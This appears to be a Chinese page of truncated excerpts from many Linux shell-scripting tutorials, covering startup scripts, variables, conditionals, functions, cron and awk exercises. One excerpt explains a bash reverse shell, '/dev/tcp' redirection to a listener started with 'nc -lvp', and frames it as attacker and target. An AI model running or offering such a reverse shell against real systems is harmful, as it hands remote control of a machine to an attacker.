目的:希望linux在开机或重启后第一时间启动部分服务或者执行特定脚本 1.需要在/etc/init.d/目录下建立对应的shell脚本,示例如下: 开机启动docker-compose中的所有容器 vi...docker-compose.yml restart; 2.增加可执行权限 chmod +x /etc/init.d/kafka 3.查看默认执行级别 runlevel N 5 #这里表面本台电脑默认执行级别为 5 Linux
/bin/bash # cleanup_old_files - 清理指定目录中指定天数之前的旧文件 # $1: 目录名称 # $2: 天数 # $3: (可选)关键字,用于匹配文件名 function...return 1 fi # 如果未指定天数,则默认为当天 if [ -z "$days" ]; then days=0 fi # 构建查找命令...mtime 0" else find_cmd="find -L \"$dir\" -type d -o -type f -mtime +$days" fi # 如果指定了关键字...是一个软链链接到/private/tmp ls -l /tmp lrwxr-xr-x@ 1 root wheel 11 Dec 2 19:37 /tmp -> private/tmp 带上-L之后就能兼容Linux
什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?
1 变量的分类 在Linux中,变量分为环境变量 和 局部变量。 环境变量能被子进程继承,而局部变量只能在当前进程中使用。...SHELL:当前使用的SHELL HISTSIZE:历史命令的最大条数 MAIL:当前用户的邮箱目录 PATH:可执行文件的查找路径。...的PID 可以通过如下命令查看当前shell的PID: echo $$ ?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量,只能在当前shell中使用;而环境变量相当于全局变量,可以在子shell中使用。...5 变量类型:declare/typeset Linux中的变量一共有5种类型,分别是:字符、整型、只读、环境变量。
一、shell编程中条件表达式的使用 if #条件 then Command else Command fi #别忘了这个结尾 如果if语句忘了结尾fi test.sh: line...四、shell的if与c语言if的功能上的区别 shell if:0为真,接着走then。...同时由于shell里没有> 和< ,会被当作尖括号,整数条件表达式只有-ge, -gt,-le, lt。 5....=放在别的地方是赋值,放在if [ ]里就是字符串等于,shell里面没有==的,那是c语言的等于。 6.= 作为等于时,其两边都必须加空格,否则失效!!!
在 Shell 语言中,可以直接定义变量。不过需要注意,在定义变量的过程中需要遵守一定的规则。这与绝大部分的编程语言类似。...~/08.shell $ b=2 1.2 shell 变量的引用 在 shell 中,直接使用“$”符,即可引用变量的值;一般配合 echo 命令可以打印变量的值; (base) xiehs...16:23:21 ~/08.shell $ echo $a $b 1 2 (base) xiehs 16:23:57 ~/08.shell $ echo $a 1 (base) xiehs 16:23...:59 ~/08.shell $ echo $b 2 如果变量名之后接有其他字符,可以使用”{}”进行区分。...(base) xiehs 16:24:01 ~/08.shell $ a=illumina (base) xiehs 16:24:23 ~/08.shell $ echo ${a}_1.fq.gz ${
函数创建两种方式: function name { command; } name () { command; } 在shell中创建的variable...shell将function当做一个mini-script,因此可以用调用脚本的方式来调用函数,在函数中也可以用$1,$@等方式得到传的参数。...向function中传递array时会出现问题,需要单个传入,在函数中再包装成array,shell中的array不太好用。 函数默认的返回值是最后一条命令的exit code,可以用$?
Linux shell 1、shell的概念 1)shell是一个命令行解释器,它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...shell是结核性的脚本语言,在我们 shell中可以直接调用linux系统命令。...最后就会得到我们想要的结果了 3、Linux中支持的shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin...;; pen|pencil) echo "study" ;; *) echo "usages: cat|dog|pen|pencil" esac 十一、Linux...* * * * * user-name command to be executed 分 时 日 月 周 命令 / 表示频率 - 表示范围 , 表示指定执行
什么是shell shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序 首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名): #!.../bin/sh osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ... # # nested if if [ $osch -eq 2 ] then echo "you pick up linux..." else echo "what you donot like unix/linux" fi fi #!
接触过一些 shell 脚本,做服务端运维时也时常用到,是时候专门学习一下了。...This older form is compatible with the original Bourne shell (sh)....The bash shell fully supports scripts written for sh, so the following forms are equivalent: $(command...read 有 -t、 -s 等参数: -t 表示在指定时间内获得响应,当无论用户是否输入都要继续执行时使用; is 表示不显示输入的内容;当输入密码时使用; #!...cd $some_directoryrm * 若 $somedirectory 不存在,进入指定目录失败,则删除当前工作文件夹下的所有文件,-- clean_up 功能 #!
2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell
Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。 同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。 C Shell:是SUN公司Shell的BSD版本。 ...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种...shell,我们可以这样做: env | more 如图: 我们也可以修改当前的shell: chsh -s 新的shell 系统中的shell如下图: 新的shell可以是: /bin/
# Linux Shell编程 # 为什么要学习Shell编程 Linux运维工程师在进行服务器集群管理时,需要编写Shell程序来进行服务器管理。...对于大数据程序员来说,需要编写Shell程序来管理集群 # Shell是什么 Shell是一个命令行解释器,它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序,用户可以用Shell来启动...的变量 # Shell变量介绍 Linux Shell中的变量分为,系统变量和用户自定义变量。...-t:指定读取值时等待的时间(秒),如果没有在指定的时间内输入,就不再等待了 参数 变量:指定读取值的变量名 # 应用实例 #!...basename [string] [suffix] (功能描述:basename命令会删掉所有的前缀包括最后一个(/)字符,然后将字符串显示出来) 选项 suffix 为后缀,如果suffix被指定了
当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。.../bin/bash : 指定脚本使用的命令解释器。 echo "hello world!" 内容打印一个hello world! 。
内网的话,为了方便,我一般就是上传内网时,把项目里的文件夹直接上传至内网服务器,然后使用shell命令再删除.svn目录和Thumbs.db文件。...直接在终端下使用VI进行编辑,然后输入shell程序,保存、退出,需要使用时直接调用sh xxx.sh ‘目录路径’即可。...完整的shell程序: echo 'start~' #echo $1 if [ -z $1 ]; then echo 'please input you need del directory...-type f -name "Thumbs.db" |xargs rm -rvf; fi; 之前没接触过shell,所以记录一下,以免事后忘记了。...上述代码 $1为调用shell时传入的参数 $0为shell文件名 -z $1 则是判断是否有参数的输入 -d $1 判断传入的参数是否为一个目录,检测是否为文件,使用-f find 指令 后跟着
# description: Starts and Stops the MapServer.
全部的命令 -raw fileName:将目前shell的命令写入指定文件中,若未指定文件则写入~/.bash_history中。...若要长久保留,必须要将这些信息写入指定文件中,当系统启动或用户登录时会自动加载这些文件,将这里的变量、别名写入内存,这些文件就是bash环境配置文件。...5.2 login shell与non-login shell的区别? login shell和non-login shell是两种shell登录的方式,它们登录后加载的环境配置文件有所不同。...5.2.1 login shell 在获取bash前需要进行一套完整的登录过程,这个登录过程就称为login shell。所谓“完整的登录过程”指需要输入用户名和密码。...5.2.2 non-login shell 获取bash不需要输入密码的登录过程称为non-login shell。
top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器 第一行,任务队列信息,同 uptime 命令的执行结果 第二行,Tasks — 任务...swap交换分区信息 第六行,空行 第七行以下:各进程(任务)的状态监控 详解 top使用方法: 使用格式: top [-] [d] [p] [q] [c] [C] [S] [s] [n] 参数说明: d:指定每两次屏幕信息刷新之间的时间间隔...p:通过指定监控进程ID来仅仅监控某个进程的状态。 q:该选项将使top没有任何延迟的进行刷新。如果调用程序有超级用户权限,那么top将以尽可能高的优先级运行。 S:指定累计模式。...“回车”返回基本视图,可以看到多了“CODE”和“DATA”两个字段: Linux查看物理CPU个数、核数、逻辑CPU个数 # 总核数 =物理CPU个数 X 每颗物理CPU的核数 # 总逻辑CPU数=物理
1.查空行 使用Linux命令查询file.txt中空行所在的行号 file1.txt数据准备 itheima itheima itcast 123 itheima ---- awk '/^$/{...print NR}' file1.txt 2.求一列的和 有文件file2.txt内容如下,使用Linux命令计算第二列的和并输出 张三 40 李四 50 王五 60 ---- awk '{sum...检查文件是否存在 根据文件是否存在执行不同逻辑 ---- if [ -e /root/file1.txt ]; then echo "文件存在"; else echo "文件不存在"; fi 4.数字排序 用shell...root)下所有的文本文件内容中包含有字符”123”的文件名称 ---- grep -r "123" /root | cut -d ":" -f 1| sort -u 6.批量生成文件名 批量生产指定数目的文件...问题: 根据给出的数据输出里面单词长度大于3的单词 数据准备 I may not be able to change the past, but I can learn from it. ---- shell
的权限 绝对路径:/home/junzerg/shell.sh 相对路径:..../shell.sh 变量PATH:将 以bash程序执行:通过bash shell.sh或者sh shell.sh执行 1.3 hello world #!...指定这个脚本使用的shell名称:本例和大部分情况下使用的是/bin/bash。...可以使用Linux内建机制处理,例如seq命令和...: for i in $(seq 1 100) for i in $(seq a...g) 6....7. shell执行的参数 shell执行可以通过参数的设定来debug sh [-nvx] scripts.sh -n :不要执行script,仅查询语法 -v :执行script钱,现将script
领取专属 10元无门槛券
手把手带您无忧上云